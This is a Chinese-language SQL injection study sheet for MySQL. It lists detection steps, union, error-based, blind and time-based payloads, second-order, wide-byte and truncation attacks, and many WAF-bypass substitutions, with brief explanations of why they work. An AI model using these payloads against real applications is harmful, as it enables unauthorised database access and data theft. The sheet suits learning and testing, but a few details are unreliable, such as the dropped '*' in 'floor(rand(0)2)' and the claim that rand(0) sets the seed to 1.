SQL注入
注入点探测
注入点类型
数字型
通过2-1与1的回显结果判断是否为数字型注入。有可能被()或者(())括起来。
字符型
注入点被' '," "包围,用单引号闭合并且注释掉后续的内容即可注入。同理可能被(),(())包裹。
注入点位置
- post表单
- http报文的某些字段 如cookie reffer等
- get参数
常用函数
系统函数
- version() --- 获取mysql版本
- user() --- 数据库用户名
- database() --- 数据库名称
- @@datadir --- 数据库路径
- @@version_compile_os --- 操作系统版本
- LENGTH(str) --- 返回字符串的长度
- PI() --- 返回π的具体数值
字符串拼接函数
- concat(str1,str2,...) --- 没有分隔符的链接字符串
- concat_ws(separator,str1,str2,...) --- 有分隔符
- group_concat(str1,str2,...) --- 输出一个组的所有数据项内容,用,链接
- SUBSTRING() --- 多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)
- RIGHT(str,len) --- 对指定字符串从最右边截取指定长度
- LEFT(str,len) --- 对指定字符串从最左边截取指定长度
- RPAD(str,len,padstr) --- 在 str 右方补齐 len 位的字符串 padstr,返回新字符串。如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度
- LPAD(str,len,padstr) --- 与RPAD相似,在str左边补齐
- MID(str,pos,len) --- 同于 SUBSTRING(str,pos,len)
- INSERT(str,pos,len,newstr) --- 在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr,然后返回经过替换后的字符串。INSERT(str,len,1,0x0)可当做截取函数
- MAKE_SET(bits,str1,str2,…) --- 根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))
联合注入
UNION
union操作用来合并两个或者多个结果集,其多个结果集需要有相同数量的字段数(列)。
报错注入
源于mysql的报错信息会回显,而报错语句中的一些函数会执行后返回。
floor()
id=1' and (select 1 from ( select count(*),concat( user(),floor( rand(0)*2 ))x from information_schema.tables group by x)a) --+
原理
floor()函数为向下取整
rand()返回一个大于0小于1的浮点数
rand(0)设置随机数种子为1
使用floor(rand(0)*2)时,返回的值一直为011011
group by时, 会创建一个虚拟表统计主键
语句执行的时候会建立一个虚拟表,整个工作流程大致如下。开始查询数据时,读取数据库数据,查看虚拟表是否存在,不存在则插入新记录, 存在则count (*)字段直接加
1.查询前默认会建立空虚拟表。
2.取第一条记录,执行floor(rand(0)2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录
3.查询第二条记录,再次计算floor(rand(0)2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕查询完毕
4.查询第三条记录,再次计算floor(rand(0)2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了
整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。
例子
and (select 1 from ( payload,floor(rand(0)*2))x from information_schema.schemata group by x )a ) --+
updatexml()和extractvalue()
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()
原理
updatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错。
例子
geometrycollection()
geometrycollection((select * from(select * from(select user())a)b));
multipoint()
multipoint((select * from(select * from(select user())a)b));
polygon()
polygon((select * from(select * from(select user())a)b));
multipolygon()
multipolygon((select * from(select * from(select user())a)b));
linestring()
linestring((select * from(select * from(select user())a)b));
multilinestring()
multilinestring((select * from(select * from(select user())a)b));
exp()
exp(~(select * from(select user())a));
布尔盲注
当返回的值只有true或者false类型。
通过ascii(substr({查询语句},{index},1))<115 --+来爆破,此处可以利用算法来优化爆破过程。
order by
order by rand(true)和order by rand(false)的排序不同。可以通过这个来判断表达式的真假。
时间盲注
sleep()
if({表达式},sleep(1),0),通过sleep函数以及回显的时间判断表达式的真假
benchmark()
通过大量运算来延时
if({表达式},benchmark(10000000,sha(1)),0)
笛卡尔积
if({表达式},(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)
二次注入
二次注入就是攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题
假如登录/注册处的SQL语句没有可以注入的地方,并将username储存在session中,而在登录之后页面查询语句没有过滤,为:
select * from users where username=’$_SESSION[‘username’]’
则我们在注册的时候便可将注入语句写入到session中,在登录后再查询的时候则会执行SQL语句:
如username=admin’#,登录后查询语句为:
select * from users where username='admin' #'
就构成了SQL注入。
堆叠注入
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
当使用了这个函数时,可以一次性输入多条sql语句改变数据库内容。
宽字节注入
当单引号被转义,但数据库使用的编码是gbk编码(两个字节表示一个字符的时候),%df会与反斜杠闭合形成一个新的字符从而闭合单引号。
username = %df'
# 经gbk解码后变为:
select * from users where username ='運'#
Latin1编码
Mysql表的编码默认为latin1,如果设置字符集为utf8,则存在一些latin1中有而utf8中没有的字符,而Mysql是如何处理这些字符的呢?直接忽略
于是我们可以输入?username=admin%c2,存储至表中就变为了admin
上面的%c2可以换为%c2-%ef之间的任意字符
sql约束攻击
假如注册时username参数在mysql中为字符串类型,并且有unique属性,设置了长度为VARCHAR(20)。
则我们注册一个username为admin[20个空格]asd的用户名,则在mysql中首先会判断是否有重复,若无重复,则会截取前20个字符加入到数据库中,所以数据库存储的数据为admin[20个空格],而进行登录的时候,SQL语句会忽略空格,因此我们相当于覆写了admin账号。
绕过
大小写绕过
混合使用大小写SeLEct
双写绕过
preg_replace(‘/select/‘,’’,input)未递归删除输入字符串
selselectect
添加注释
/*! */类型的注释,内部的语句会被执行
使用16进制绕过特定字符
如果在查询字段名的时候表名被过滤,或是数据库中某些特定字符被过滤,则可用16进制绕过:
select column_name from information_schema.columns where table_name=0x7573657273;
0x7573657273为users的16进制
常用的字符替代
and -> &&
or -> ||
空格-> /**/ -> %a0 -> %0a -> +
# -> --+ -> ;%00(php<=5.3.4) -> or '1'='1
= -> like -> regexp -> <> -> in
注:regexp为正则匹配,利用正则会有些新的注入手段
逗号被过滤
用join代替:
-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23
limit:
limit 2,1
limit 1 offset 2
substr:
substr(database(),5,1)
substr(database() from 5 for 1) from为从第几个字符开始,for为截取几个
substr(database() from 5)
如果for也被过滤了
mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反转,mid和substr等同
if:
if(database()=’xxx’,sleep(3),1)
id=1 and databse()=’xxx’ and sleep(3)
select case when database()=’xxx’ then sleep(5) else 0 end
limit被过滤
select user from users limit 1
加限制条件,如:
select user from users group by user_id having user_id = 1 (user_id是表中的一个column)
杂项
- mysql中and的运算优先级大于or
- &的优先级大于=
文章评论